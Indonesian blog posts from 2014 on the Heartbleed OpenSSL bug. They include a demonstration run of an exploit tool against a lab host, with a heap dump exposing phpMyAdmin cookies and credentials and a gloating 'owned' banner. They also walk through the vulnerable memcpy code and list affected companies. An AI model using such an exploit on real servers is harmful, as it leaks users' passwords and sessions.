<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">./heartbleed -s 192.168.145.128 -p 443 -t 1 -f dumpfile
[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
[ =============================================================
[ connecting to 192.168.145.128 443/tcp
[ connected to 192.168.145.128 443/tcp
[ <3 <3 <3 heart bleed <3 <3 <3
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ heartbleed leaked length=65535
[ final record type=24, length=16384
[ wrote 16381 bytes of heap to file 'dumpfile'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'dumpfile'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'dumpfile'
[ heartbeat returned type=24 length=16408
[ decrypting SSL packet
[ final record type=24, length=16384
[ wrote 16384 bytes of heap to file 'dumpfile'
[ heartbeat returned type=24 length=42
[ decrypting SSL packet
[ final record type=24, length=18
[ wrote 18 bytes of heap to file 'dumpfile'
[ done.</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-3nOXEUJ0e5A/U1ABU2KgQ2I/AAAAAAAABTE/XrbDs4o9Duw/s1600/Screenshot_from_2014-04-17-11:28:57.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-3nOXEUJ0e5A/U1ABU2KgQ2I/AAAAAAAABTE/XrbDs4o9Duw/s1600/Screenshot_from_2014-04-17-11:28:57.jpg" height="230" width="320" /></a></div>
<br />
He's bleeding like a woman had menstruation! LOL! Sekarang kita lihat hasil dump kita<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">00000000 76 73 ca 02 b4 c4 7f 18 d7 5b cb 07 16 98 b4 b9 |vs.......[......|
00000010 ba dc db dd dc 3e 84 ef cd 92 0a 4e 5e dc b1 91 |.....>.....N^...|
</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em; text-align: center;"><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: red; font-family: Courier New, Courier, monospace;"><b>[SNIP]</b></span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">
00000120 02 03 03 02 01 02 02 02 03 01 01 00 0f 00 01 01 |................|
00000130 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 |ML, like Gecko) |
00000140 43 68 72 6f 6d 65 2f 33 33 2e 30 2e 31 37 35 30 |Chrome/33.0.1750|
00000150 2e 31 35 32 20 53 61 66 61 72 69 2f 35 33 37 2e |.152 Safari/537.|
00000160 33 36 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 |36..Referer: htt|
00000170 70 73 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 34 35 |ps://192.168.145|
00000180 2e 31 32 38 2f 70 68 70 6d 79 61 64 6d 69 6e 2f |.128/phpmyadmin/|
00000190 69 6e 64 65 78 2e 70 68 70 3f 64 62 3d 26 74 61 |index.php?db=&ta|
000001a0 62 6c 65 3d 26 73 65 72 76 65 72 3d 31 26 74 61 |ble=&server=1&ta|
000001b0 72 67 65 74 3d 26 74 6f 6b 65 6e 3d 32 39 63 66 |rget=&token=29cf|
000001c0 33 30 39 61 64 66 61 62 37 37 31 62 61 64 35 63 |309adfab771bad5c|
000001d0 61 64 35 66 34 33 63 62 32 32 31 63 0d 0a 41 63 |ad5f43cb221c..Ac|
000001e0 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 |cept-Encoding: g|
000001f0 7a 69 70 2c 64 65 66 6c 61 74 65 2c 73 64 63 68 |zip,deflate,sdch|
00000200 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 |..Accept-Languag|
00000210 65 3a 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 30 2e |e: en-US,en;q=0.|
00000220 38 2c 69 64 3b 71 3d 30 2e 36 2c 6d 73 3b 71 3d |8,id;q=0.6,ms;q=|
00000230 30 2e 34 0d 0a 43 6f 6f 6b 69 65 3a 20 70 6d 61 |0.4..Cookie: pma|
00000240 5f 6c 61 6e 67 3d 65 6e 3b 20 70 6d 61 5f 63 6f |_lang=en; pma_co|
00000250 6c 6c 61 74 69 6f 6e 5f 63 6f 6e 6e 65 63 74 69 |llation_connecti|
00000260 6f 6e 3d 75 74 66 38 5f 67 65 6e 65 72 61 6c 5f |on=utf8_general_|
00000270 63 69 3b 20 70 6d 61 5f 6d 63 72 79 70 74 5f 69 |ci; pma_mcrypt_i|
00000280 76 3d 79 33 63 6b 30 63 25 32 46 42 66 64 4d 25 |v=y3ck0c%2FBfdM%|
00000290 33 44 3b 20 70 68 70 4d 79 41 64 6d 69 6e 3d 70 |3D; phpMyAdmin=p|
000002a0 6e 35 63 37 31 70 33 61 74 35 68 37 6a 6e 6f 37 |n5c71p3at5h7jno7|
000002b0 63 36 34 36 30 64 69 33 6f 35 37 6a 65 65 34 3b |c6460di3o57jee4;|
000002c0 20 70 6d 61 55 73 65 72 2d 31 3d 71 30 46 48 74 | pmaUser-1=q0FHt|
000002d0 7a 4d 62 61 56 67 25 33 44 3b 20 70 6d 61 50 61 |zMbaVg%3D; pmaPa|
000002e0 73 73 2d 31 3d 77 41 63 33 48 45 75 42 55 6e 63 |ss-1=wAc3HEuBUnc|
000002f0 25 33 44 3b 20 70 6d 61 5f 6e 61 76 69 5f 77 69 |%3D; pma_navi_wi|
00000300 64 74 68 3d 32 30 30 0d 0a 0d 0a be 3c 63 c4 9e |dth=200.....<c..|
00000310 27 05 54 11 e9 50 f7 b7 c6 e2 a5 60 b9 b6 66 05 |'.T..P.....`..f.|
00000320 05 05 05 05 05 77 69 64 74 68 3d 32 30 30 0d 0a |.....width=200..|
</span><span style="color: red; font-family: Courier New, Courier, monospace;"><b>00000330 0d 0a 70 6d 61 5f 75 73 65 72 6e 61 6d 65 3d 72 |..pma_username=r|
00000340 6f 6f 74 26 70 6d 61 5f 70 61 73 73 77 6f 72 64 |oot&pma_password|
00000350 3d 70 61 73 73 77 6f 72 64 26 73 65 72 76 65 72 |=password&server|</b></span><span style="color: #858585; font-family: Courier New, Courier, monospace;">
00000360 3d 31 26 74 61 72 67 65 74 3d 69 6e 64 65 78 2e |=1&target=index.|
00000370 70 68 70 26 74 6f 6b 65 6e 3d 32 39 63 66 33 30 |php&token=29cf30|
00000380 39 61 64 66 61 62 37 37 31 62 61 64 35 63 61 64 |9adfab771bad5cad|
00000390 35 66 34 33 63 62 32 32 31 63 50 0e d3 2f e3 8b |5f43cb221cP../..|
000003a0 9a 0e 71 b6 57 c9 2f e1 ae ac 5f e6 8f 5b 06 06 |..q.W./..._..[..|
000007a0 00 00 00 00 00 f8 08 66 01 00 00 00 00 c0 31 66 |.......f......1f|
000007b0 01 00 00 00 00 21 00 00 00 00 00 00 00 60 01 00 |.....!.......`..|
000007c0 00 00 00 00 00 20 74 69 74 6c 65 3d 22 00 80 e9 |..... title="...|
000007d0 00 00 00 00 00 21 00 00 00 00 00 00 00 80 01 00 |.....!..........|
000007e0 00 00 00 00 00 22 00 00 00 00 00 00 00 74 00 e9 |.....".......t..|
000007f0 00 00 00 00 00 60 00 00 00 00 00 00 00 21 00 00 |.....`.......!..|
00000800 00 00 00 00 00 18 80 e9 00 00 00 00 00 70 46 02 |.............pF.|
00000810 01 00 00 00 00 40 00 00 00 00 00 00 00 21 00 00 |.....@.......!..|
00000820 00 00 00 00 00 d8 7f e9 00 00 00 00 00 98 08 66 |...............f|
00000830 01 00 00 00 00 21 00 00 00 00 00 00 00 20 00 00 |.....!....... ..|
00000840 00 00 00 00 00 50 72 65 76 69 6f 75 73 00 7f e9 |.....Previous...|
00000850 00 00 00 00 00 31 00 00 00 00 00 00 00 f0 03 00 |.....1..........|
00000860 00 00 00 00 00 60 26 66 01 00 00 00 00 03 00 00 |.....`&f........|
00000870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000880 00 00 01 00 00 f1 00 00 00 00 00 00 00 b8 e7 01 |................|
00000890 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 |................|
000008a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em; text-align: center;"><span style="color: red; font-family: Courier New, Courier, monospace;"><span style="font-size: 15.454545021057129px; line-height: 16.5px;"><b>[SNIP]</b></span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">
00000910 00 00 01 00 00 48 08 66 01 00 00 00 00 05 00 00 |.....H.f........|
00000920 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000930 00 00 01 00 00 88 08 66 01 00 00 00 00 09 00 00 |.......f........|
00000940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000950 00 00 01 00 00 e8 08 66 01 00 00 00 00 04 00 00 |.......f........|
00000960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000970 00 00 01 00 00 90 2f 01 00 00 00 00 00 f1 00 00 |....../.........|
00000980 00 00 00 00 00 48 b2 65 01 00 00 00 00 48 b2 65 |.....H.e.....H.e|
0000fdc0 01 00 00 00 00 74 65 64 22 00 00 00 00 39 00 00 |.....ted"....9..|
0000fdd0 00 00 00 00 00 68 00 00 00 00 00 00 00 70 6d 61 |.....h.......pma|
0000fde0 5f 67 65 74 72 65 6c 61 74 69 6f 6e 73 70 61 72 |_getrelationspar|
0000ffc0 65 73 00 00 00 40 00 00 00 00 00 00 00 21 00 00 |es...@.......!..|
0000ffd0 00 00 00 00 00 d0 1e c6 01 00 00 00 00 a0 2a 68 |..............*h|
0000ffe0 01 00 00 00 00 21 00 00 00 00 00 00 00 20 00 00 |.....!....... ..|
0000fff0 00 00 00 00 00 64 62 00 00 00 00 00 00 00 dc c8 |.....db.........|
00010000 4c 39 67 4b bc 9d ab 8f 47 8e 44 61 2b 0f 1d 78 |L9gK....G.Da+..x|
00010010 50 58 |PX|
00010012</span></span></pre>
<br />
<span style="font-family: Courier New, Courier, monospace; font-size: large;"><b>pma_username=root</b></span><br />
<span style="font-family: Courier New, Courier, monospace; font-size: large;"><b>pma_password=password</b></span><br />
<br />
<div style="text-align: center;">
<b><span style="color: red; font-family: Courier New, Courier, monospace;">YOU</span></b></div>
<div style="text-align: center;">
<b><span style="color: red; font-family: Courier New, Courier, monospace;">ARE</span></b></div>
<br />
<div style="text-align: center;">
<b><span style="color: red; font-family: Courier New, Courier, monospace;">SO</span></b></div>
<b></b><br />
<div style="text-align: center;">
<b><b><span style="color: red; font-family: Courier New, Courier, monospace;">OWNED</span></b></b></div>
<b>
</b><br />
<div style="text-align: center;">
<b><span style="color: red; font-family: Courier New, Courier, monospace;">BY</span></b></div>
<div style="text-align: center;">
<b><span style="color: red; font-family: Courier New, Courier, monospace;">RED-DRAGON</span></b></div>
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-48797852062726868532014-04-15T16:04:00.000+07:002014-04-15T16:04:15.596+07:00Heartbleed All Mighty: Easy Explanation How Does It WorksSebelumnya saya sudah memberikan penjelasan bagaimana cara heartbleed bug bekerja di <a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-how-can-this-be.html">sini</a>. Penjelasan ini nampaknya agak sulit dipahami oleh beberapa orang, khususnya mereka yang awam dalam dunia IT. Untuk itu saya memutuskan untuk memberikan penjelasan sederhana bagaimana cara kerja heartbleed bug bekerja. Follow me!<br />
<br />
<a name='more'></a><br /><br />
Rumus utama dalam kasus ini adalah<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">memcpy(bp, pl, payload) ;</span><br />
<br />
Asumsikan bahwa:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-bGXzVsxYpcM/U0z1v7qafSI/AAAAAAAABR4/LI3jnpr96AI/s1600/letter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-bGXzVsxYpcM/U0z1v7qafSI/AAAAAAAABR4/LI3jnpr96AI/s1600/letter.png" height="289" width="320" /></a></div>
<br />
<br />
<b>bp: Penjual kardus</b><br />
<b>pl: Surat</b><br />
<b>payload: Jumlah surat</b><br />
<br />
Catatan:<br />
Dalam contoh ini, Kardus adalah alat untuk menyimpan Surat.<br />
<br />
<i>Seseorang: *masuk ke toko kardus* Gue punya 64 foto nih, minta kardus untuk 64 foto dong.</i><br />
<i>Penjual kardus: Ok, sebentar. *mengangkat kardus berisi SURAT dari locker*</i><br />
<i>Seseorang: Kok penuh pak?</i><br />
<i>Penjual kardus: Iya, karena sejatinya ngga ada kardus yang kosong di sini.</i><br />
<br />
INGAT: Tidak ada istilah empty memory pada kasus copy. Alih alih, "penjual kardus" akan memilih untuk memusnahkan data lama, dan mengganti data baru.<br />
<br />
Penjual kardus kemudian mengeluarkan semua isi surat di dalam kardus tersebut dan membakarnya. Karena seseorang memberikan informasi jumlah surat (payload), bahwa ada 64 surat, maka penjual kardus akan mengeluarkan semua (64) surat di dalam kardus, dan membakar surat tersebut.<br />
<br />
<i>Penjual kardus: Sudah kosong, silahkan di isi.</i><br />
<i>Seseorang: Ok *menaruh surat suratnya di dalam kardus*</i><br />
<br />
INGAT: Dalam proses ini, system (toko) merekam kejadian ini dalam memory. Kemudian membuat copy-an kardus berisi surat Seseorang, dan menaruhnya kembali di locker. Ini mengapa setiap kardus yang diambil dari locker selalu terisi dengan surat.<br />
<br />
Prosesnya seperti ini<br />
<br />
Meminta kardus -> Mencari kardus -> Menghapus data (surat) -> Memasukan data -> Mengkopi data beserta kardus ke dalam locker -> Memberikan kardus<br />
<br />
Saat ini, maksimum foto yang dapat ditampung adalah 64 buah. Itu adalah kardus dengan ukuran terbesar, tidak ada tawaran untuk mengganti ukuran kardus!<br />
<br />
OK. Sekarang kardus Seseorang beserta isinya telah direcord, dan telah tersimpan pada locker.<br />
<br />
<i>Hacker: *membawa 1 surat* Saya minta kardus untuk 64 foto (dia berbohong, padahal dia membawa hanya 1 surat)</i><br />
<i>Penjual kardus: OK. Sebentar. *mengeluarkan kardus berisi 64 surat milik Seseorang*</i><br />
<br />
Untuk mengoverwrite 1 surat, anda TIDAK perlu menghapus 64 surat, cukup 1 surat.<br />
<br />
<i>Penjual kardus: *mengeluarkan 1 surat dari dalam kardus, dan memberikannya kepada hacker* Ini dia, silahkan di isi.</i><br />
<i>Hacker: Terima kasih</i><br />
<br />
Dalam kasus ini hacker berhasil mendapatkan 63 surat milik seseorang. Siapa yang tau bahwa di dalam surat itu berisi password?<br />
<br />
Ingat. Mesin adalah mesin. Sejatinya dia bodoh, yang membuat dia pintar adalah program dan aplikasi di dalamnya. Kita berbicara dengan mesin dengan bantuan program, dan dia akan melakukan APAPUN yang kita perintahkan!<br />
<br />
Written by: <a href="https://www.facebook.com/omega.hanggara">Omega Hanggara</a>Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-22842105472196380942014-04-15T11:57:00.000+07:002014-04-15T11:57:14.943+07:00Heartbleed All Mighty: How Can This Be?!Sebelum saya mengupas source code OpenSSL yang menyebabkan HeartBleed menjadi mimpi buruk keamanan internet, ada baiknya kamu membaca Heartbleed Bug lebih jauh di <a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-massive-security.html">sini</a>.<br />
<br />
Pada kesempatan kali ini, saya akan mencoba menganalisa bagian dari source code OpenSSL yang merealisasikan mimpi buruk para white hat hacker. Telah kita ketahui sebelumnya bahwa OpenSSL memiliki heartbeat bug pada versi OpenSSL 1.0.1 (release 14 Maret 2012) sampai dengan versi OpenSSL 1.0.1f (release 6 Januari 2014).<br />
<br />
Untuk itu, pada analisa kali ini, saya akan membongkar source code OpenSSL 1.0.1f. Kamu bisa mendownload source code OpenSSL 1.0.1f di <a href="https://www.openssl.org/source/openssl-1.0.1f.tar.gz">sini</a>.<br />
<br />
<a name='more'></a><b><span style="font-size: large;">Bug</span></b><br />
<br />
Melihat perbedaan source code yang telah di-commit pada OpenSSL 1.0.1g (versi yang tidak vulnerable) di <a href="http://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=96db9023b881d7cd9f379b0c154650d6c108e9a3">sini</a>, kita akan memulai perjalanan panjang kita dalam menyelidiki bagaimana bug ini meneror keamanan internet.<br />
<br />
Setelah mendownload OpenSSL 1.0.1f, extract source code, kemudian buka file <span style="font-family: Courier New, Courier, monospace;">ssl/d1_both.c</span>. Dan saya menemukan perbedaan code antara 1.0.1f dan 1.0.1g di baris ke 1455.<br />
<br />
<pre style="background-color: #fafafa; font-size: 0.8em; line-height: 1.2em; overflow: auto; padding: 10px;"><span style="font-family: Courier New, Courier, monospace;"><span class="kt">int</span>
<span class="nf">dtls1_process_heartbeat</span><span class="p">(</span><span class="n">SSL</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="o">&</span><span class="n">s</span><span class="o">-></span><span class="n">s3</span><span class="o">-></span><span class="n">rrec</span><span class="p">.</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="o">*</span><span class="n">pl</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">hbtype</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">payload</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">padding</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span> <span class="cm">/* Use minimum padding */</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-kSlrGhXK7Uk/U0yqT_xYxqI/AAAAAAAABQw/9AneZcUT_ag/s1600/Screenshot+from+2014-04-15+10:40:32.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-kSlrGhXK7Uk/U0yqT_xYxqI/AAAAAAAABQw/9AneZcUT_ag/s1600/Screenshot+from+2014-04-15+10:40:32.png" height="179" width="320" /></a></div>
<br />
Dan kita bisa mendapatkan pointer ke data record SSLv3 yang dijelaskan di file <span style="font-family: Courier New, Courier, monospace;">ssl/ssl3.h</span> di baris ke 348.<br />
<br />
<pre style="background-color: #fafafa; overflow: auto; padding: 10px;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 13px; line-height: 14.399999618530273px;">typedef struct ssl3_record_st
{
/*r */ int type; /* type of record */
/*rw*/ unsigned int length; /* How many bytes available */
/*r */ unsigned int off; /* read/write offset into 'buf' */
/*rw*/ unsigned char *data; /* pointer to the record data */
/*rw*/ unsigned char *input; /* where the decode bytes are */
/*r */ unsigned char *comp; /* only used with decompression - malloc()ed */
/*r */ unsigned long epoch; /* epoch number, needed by DTLS1 */
/*r */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
} SSL3_RECORD;</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-dN-Ghjjo9jY/U0yrXfxP14I/AAAAAAAABQ4/fo9tFVkyKAk/s1600/Screenshot+from+2014-04-15+10:45:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-dN-Ghjjo9jY/U0yrXfxP14I/AAAAAAAABQ4/fo9tFVkyKAk/s1600/Screenshot+from+2014-04-15+10:45:19.png" height="179" width="320" /></a></div>
<br />
Record memiliki sebuah tipe, sebuah panjang, dan sebuah data. Kembali ke file ssl/d1_both.c baris ke 1455 - 1465.<br />
<br />
<pre style="background-color: #fafafa; overflow: auto; padding: 10px;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 13px; line-height: 14.399999618530273px;">dtls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-j0WFOUutuaM/U0ysE5keEGI/AAAAAAAABRA/eZcltqZm_eo/s1600/Screenshot+from+2014-04-15+10:48:21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-j0WFOUutuaM/U0ysE5keEGI/AAAAAAAABRA/eZcltqZm_eo/s1600/Screenshot+from+2014-04-15+10:48:21.png" height="179" width="320" /></a></div>
<br />
Byte pertama dalam record adalah heartbeat type. Macro n2s mengambil 2 byte dari p, dan meletakannya di dalam payload. Sebenarnya ini adalah panjang dari payload. Perhatikan, panjang sesungguhnya dari record SSLv3 tidak dicek!<br />
<br />
Variable pl adalah yang menyebabkan heartbeat data, disuplai dari yang meminta heartbeat data (user). Lebih lanjut dari fungsi code di atas, kita akan menemukan ini pada baris ke 1472 - 1482 (masih di file ssl/d1_both.c).<br />
<br />
<pre style="background-color: #fafafa; overflow: auto; padding: 10px;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 13px; line-height: 14.399999618530273px;"> if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-hacNhRzZOqc/U0ytheykGpI/AAAAAAAABRM/n9VQcptXgDQ/s1600/Screenshot+from+2014-04-15+10:54:29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-hacNhRzZOqc/U0ytheykGpI/AAAAAAAABRM/n9VQcptXgDQ/s1600/Screenshot+from+2014-04-15+10:54:29.png" height="179" width="320" /></a></div>
<br />
Kemudian kita alokasikan memori sebanyak yang diminta oleh user, lebih tepatnya di atas 65535 + 1 + 2 +16. Variable bp akan menjadi pointer untuk mengakses memory seperti yang tertulis pada baris ke 1484 - 1490.<br />
<br />
<pre style="background-color: #fafafa; overflow: auto; padding: 10px;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 13px; line-height: 14.399999618530273px;"> /* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
<b><span style="color: red;">memcpy(bp, pl, payload);</span></b>
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-48k5BPrcHLQ/U0yuf1WSBpI/AAAAAAAABRU/yZEPdP5yE6Q/s1600/Screenshot+from+2014-04-15+10:58:36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-48k5BPrcHLQ/U0yuf1WSBpI/AAAAAAAABRU/yZEPdP5yE6Q/s1600/Screenshot+from+2014-04-15+10:58:36.png" height="179" width="320" /></a></div>
<br />
Kita akan fokus pada<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">memcpy(bp, pl, payload) ;</span><br />
<br />
memcpy adalah command untuk mengkopi data, dan dia membutuhkan tiga informasi, yaitu bp, pl, dan payload. Bit pertama dari informasi (bp) adalah tujuan terakhir data yang akan dikopi. Bit kedua (pl) adalah lokasi data yang akan dikopi. Dan bit ketiga (payload) adalah besarnya data yang akan dicari tau oleh komputer, kapan data akan dikopi (misalkan: payload akan menentukan apakah data harus dikopi jika data sudah sebebesar n byte). Dalam kasus ini, bp adalah suatu TEMPAT, pl adalah DATA yang akan dikirim, dan PAYLOAD adalah UKURAN data.<br />
<br />
Satu hal penting yang harus di ketahui adalah proses pengkopian tidak sesederhana yang kita bayangkan, karena sejatinya TIDAK ADA memori yang kosong. Maka dari itu, bp akan menemukan dimana (tujuan) data user yang akan dikopi sebenarnya tidak kosong, malah penuh dengan memori (not enough space). Kemudian komputer akan menganggap tempat itu "kosong" karena deret data yang memenuhi bagian itu akan di "mark for to be deleted" sampai bagian itu diisi dengan data yang baru. Dan tujuan bp sebenarnya data data lama yang tidak menjadi masalah jika di-overwrite.<br />
<br />
Sekarang, idealnya ketika memcpy mengambil infomasi dari pl (data), dan memberikannya pada bp (pencari lokasi), informasi itu sebenarnya informasi lama (masuk akal kan? baca kembali paragraf sebelumnya!). Kemudian payload memberitau memcpy berapa besar datanya (pl), dan ruang yang harus dicari oleh bp harus sama ukurannya dengan ukuran yang diberitau oleh payload (ingat payload itu memberi informasi beruka data size). Data itulah yang akan dikirim ke user, tepat seperti yang user kirim pada tempat pertama, kurang lebih ini seperti: "Jika kamu melakukan transaksi 1:1 (adil) yang rapih, maka apa yang masuk, adalah apa yang akan keluar".<br />
<br />
Sebenarnya ini belum menjadi masalah selama payload tidak berbohong. Bagaimana jika payload berbohong, bagaimana jika besarnya data yang diinfokan oleh payload sebenarnya adalah informasi palsu? Jika memory yang seharusnya dikatakan oleh payload adalah 0 kb, namun dia (payload) berbohong dengan mengatakan "kita membutuhkan 64 kb memory", simple nya, kita dalam masalah. Mengapa? Karena memcpy akan membuat landing strip pada bp berukuran 64 kb yang penuh dengan data lama. Data lama ini tidak akan di-overwrite, mengapa? Karena sebenarnya payload berukuran 0 KB, jadi tidak ada data yang perlu di-overwrite kan? Data lama ini akan dikirim kembali ke user. D'oh!<br />
<br />
Makro s2n melakukan pembalikan atau perubahan n2s. Dia mengambil 16 bit memori, dan meletakannya ke dalam 2 byte. Jadi sebenarnya dia menaruh 2 payload yang diminta oleh user, yang sebenarnya memiliki panjang yang sama. Kemudian dia mengkopi byte payload dari pl (data yang akan disediakan untuk user), ke alokasi array bp yang baru. Setelah ini, dia mengirimkan semuanya kembali ke user. Jadi dimana bug nya?<br />
<br />
Pengguna sebenarnya mengendalikan payload dan pl<br />
<br />
Bagaimana jika user sebenarnya tidak mensupai payload, dan di sisi user "mengaku" dia sudah mensuplai payload? Bagaimana jika pl hanya bernilai 1 byte? Kemudian proses pembacaan dari memcpy , akan dilakukan dengan prosedur "saya akan membaca semua memory yang dekat dengan record SSLv3 dan dalam proses (OpenSSL) yang sama"?<br />
<br />
Dan kelihatannya, ada banyak hal di sana (memory yang dekat dengan record SSLv3).<br />
<br />
Ada dua cara bagaimana memori dapat dialokasikan di Linux, menggunakan sbrk, dan menggunakan mmap. Jika memory dialokasikan oleh sbrk, maka ia akan menggunakan aturan heap-grows-up yang lama (kuno) dan membatasi apa yang bisa ditemukan user (critical data) dengan metode ini, meskipun dengan request berulang kali secara simultan, kita akan tetap bisa menemukan critical data pada metode yang dilakukan sbrk.<br />
<br />
Sebenarnya alokasi bp tidak menjadi masalah utama. Malah alokasi pl yang menjadikan masalah besar (sangat besar). Dia hampir pasti akan dialokasikan oleh sbrk, karena batasan yang dimiliki oleh mmap di dalam malloc. Bagaimanapun juga, critical data seperti password, pin, email, history, dan lain lain dapat dijangkau melalui pl. Request berulang kali secara simultan juga bisa menguak bagian critical ini.<br />
<br />
Lalu, apa artinya? ALOKASI PATTERNS DARI pl AKAN MEDIKTEKAN KAMU APA YANG BISA KAMU BACA!<br />
<br />
Written by: <a href="https://www.facebook.com/omega.hanggara">Omega Hanggara</a>Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-18516021234454480242014-04-11T15:54:00.000+07:002014-04-11T15:54:15.862+07:00Heartbleed All Mighty: "We Fucked Up Your Company"Baca mengenai Heartbleed bug di <a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-massive-security.html">sini</a>. Cari tau apakah situs jejaring sosial kamu terkena dampak vulnerability ini di <a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-we-fucked-up-your.html">sini</a>. Sekarang saatnya heartbleed memporak-porandakan SSL security perusahaan ternama.<br />
<br />
Follow me!<br />
<br />
<a name='more'></a><br /><br />
<b><a href="http://www.apple.com/">Apple</a></b><br />
Status: <b><span style="color: lime;">Clear</span></b><br />
Patch: <b><span style="color: lime;">Available</span></b><br />
Change password:<b><span style="color: lime;"> No need </span></b><br />
Confirmation from Apple: <i>"iOS and OS X never incorporated the vulnerable software and key web-based services were not affected."</i><br />
<br />
<b><a href="http://www.amazon.com/">Amazon</a></b><br />
Status: <span style="color: lime;"><b>Clear</b></span><br />
